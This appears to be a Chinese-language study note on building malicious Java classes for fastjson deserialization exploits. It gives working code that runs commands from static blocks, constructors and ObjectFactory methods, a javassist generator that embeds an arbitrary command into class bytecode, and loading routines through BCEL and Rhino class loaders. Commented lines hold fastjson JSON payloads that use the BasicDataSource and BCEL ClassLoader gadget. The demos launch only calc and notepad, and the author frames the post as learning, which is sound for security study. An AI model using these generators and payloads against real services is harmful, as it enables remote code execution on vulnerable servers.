0x0、背景说明
在fastjson的反序列化漏洞PoC中,有一种是利用了static{}静态代码块在类的初始化(加载过程的一个环节)时会被执行这种特性。本文主要总结该思路中恶意类的构造方法和其触发方式,以全面了解fastjson反序列化漏洞PoC构造的过程。
本文是个人学习的记录总结,如有错误烦请指出,谢谢!
0x1、恶意类构造及其触发方式
如思维导图所示,总结了可以构造恶意类的几种方式:
- 利用静态代码块,在类的加载环节之一【初始化】时触发(重点)---触发方法Class.forName()
- 利用构造函数,在类实例化时触发(当然,实例化前必然先初始化)---触发方法newInstance(), new Evil()
- 利用自定义函数,在函数被调用时触发 --- 触发方法 xxx.fun() m.invoke()
- 利用接口的重写方法,在函数调用时触发
另外,通过类的加载流程可知:凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。
demo代码:
package evilClass;
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class evilClassTest{
public static void main(String[] argv){
try {
//触发方式1
Class<?> xxx = Class.forName("EvilClasses.evilClazz");//只会执行静态代码块中的命令。
evilClazz cs = (evilClazz)xxx.newInstance();//这里触发构造函数中的命令。
Class<?> yyy = Class.forName("EvilClasses.evilClazz",true,ClassLoader.getSystemClassLoader());
//只会执行静态代码块中的命令,但它可以执行指定类加载器,更为灵活
evilClazz cs1 = (evilClazz)yyy.newInstance();//这里触发构造函数中的命令。
//触发方式2 xxxxClassLoader().loadClass();
Class<?> c1 = ClassLoader.getSystemClassLoader().loadClass("EvilClasses.evilClazz"); //这里不会触发静态代码块,因为是隐式加载方式。
c1.newInstance();//这里会触发静态代码块后,触发构造函数
//触发方式3,应该和方式2本质上是一样的!
new evilClazz(); //会执行静态代码块和构造函数中的命令
//触发方式4
new evilClazz().fun();//静态代码,构造函数,自定义函数都会触发。函数调用方式,不用多说
//凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。
//getObjectInstance()函数的代码如何触发?和web框架环境有关系,需要学习!!
} catch (Exception e) {
e.printStackTrace();
}
}
}
class evilClazz implements ObjectFactory{
public static String aaa;
//静态代码块命令执行
static
{
try {
Runtime.getRuntime().exec("explorer.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
//构造函数命令执行
evilClazz(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
//自定义函数
public void fun() {
try{
Runtime.getRuntime().exec("notepad.exe");
}catch(Exception e){
e.printStackTrace();
}
}
//getObjectInstance命令执行,是因为实现了ObjectFactory接口。
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
try {
Runtime.getRuntime().exec("mstsc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
0x2、用javassist字节码操作动态创建恶意类
如下代码主要目的有2:
- 使用javassist动态创建恶意类,可以动态指定命令和类名称,更为灵活。
- 尝试利用不同的类加载器,从不同来源获取类的byte[]流。 虽然来源不同,但触发机制和evilClassTest中还是一致的。
package evilClass;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtField;
import javassist.CtMethod;
import javassist.CtNewMethod;
import javassist.bytecode.AccessFlag;
public class createEvilClass {
public static byte[] create(String className,String cmd) {
ClassPool pool = ClassPool.getDefault();
//会从classpath中查询该类
CtClass evilclass = pool.makeClass(className);
try {
CtField f= new CtField(CtClass.intType,"id",evilclass);//获得一个类型为int,名称为id的字段
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
evilclass.addField(f);//将字段设置到类上
//添加静态代码块
CtConstructor ci = evilclass.makeClassInitializer();
ci.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");
//添加构造函数
CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{}, evilclass);//指定参数构造器
ctConstructor1.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");//$1代表第一个参数,$2代表第二个参数,$0代表this
evilclass.addConstructor(ctConstructor1);
//添加方法
CtMethod funM=CtNewMethod.make("public void fun(){try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}",evilclass);
evilclass.addMethod(funM);
evilclass.setName(className);
evilclass.writeFile("D:\\");//将生成的.class文件保存到磁盘
byte[] b=evilclass.toBytecode();
return b;
}catch(Exception e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) {
//!!!这里的测试,主要尝试利用不同的类加载器,获取不同来源的类byte[]!!!! 虽然来源不同,但触发机制和evilClassTest中还是一致的。//
/* //从本地或者网络加载类,触发方式为loadClass()和newInstance();
try {
File file = new File("D:\\");
URL url = file.toURL();
URL[] urls = new URL[]{url};
ClassLoader cl = new URLClassLoader(urls);
Class cls = cl.loadClass("Evil");
cls.newInstance();
//
} catch (Exception e) {
e.printStackTrace();
}*/
/* //从本地或者网络加载类,但触发方式为Class.forName();
try {
File file = new File("D:\\");
URL url = file.toURL();
URL[] urls = new URL[]{url};
ClassLoader cl = new URLClassLoader(urls);
Class yyy = Class.forName("evil",true,cl);
} catch (Exception e) {
e.printStackTrace();
}
*/
//从classname(类名称)中加载类,触发方式为Class.forName();
/* //基于com.sun.org.apache.bcel.internal.util.ClassLoader的fastjosn的PoC就是利用了这种类加载机制和触发方式。
//{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxx"}}:"ddd"}
//{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxx"}}:"ddd"}
byte[] st = createEvilClass.create("calc");
try {
String classname = Utility.encode(st,true);
System.out.println(classname);
classname = "org.apache.log4j.spi$$BCEL$$"+classname;
ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class.forName(classname, true, cls);
} catch (Exception e) {
e.printStackTrace();
}*/
//从byte[]中加载类,newInstance()触发;
//基于org.mozilla.javascript.DefiningClassLoader的 PoC可以在Commons Collections的漏洞中使用,因为它是invoke方式触发的,可以构造出来。
//而在fastjson中,则由于格式的限制,不能构造
try {
byte[] st = createEvilClass.create("evil","calc");
org.mozilla.javascript.DefiningClassLoader cl = new org.mozilla.javascript.DefiningClassLoader();
Class c = cl.defineClass("evil", st);
Method m = c.getMethod("fun");
c.newInstance();//会触发2次
//m.invoke(c.newInstance());//会触发2次
} catch (Exception e) {
e.printStackTrace();
}
/* //从byte[]中加载类,Class.forName()触发;
//在fastjson的漏洞中,就是以Class.forName()的方式触发的,我们需要构造的是它的参数,而且这个参数要能通过fastjson的格式传入。
//根据自己现有的知识,还不能完成将这个classLoader用于fastjson的PoC~~~
try {
byte[] st = createEvilClass.create("evil","calc");
org.mozilla.javascript.DefiningClassLoader cl = new org.mozilla.javascript.DefiningClassLoader();
Class c = cl.defineClass("evil", st);
Class.forName("Evil",true,(ClassLoader)cl);//fastjson中存在的触发点是Class.forName()
} catch (Exception e) {
e.printStackTrace();
}*/
}
}
通过Bytecode Viewer查看生成的代码,并尝试加载,以测试是否正确。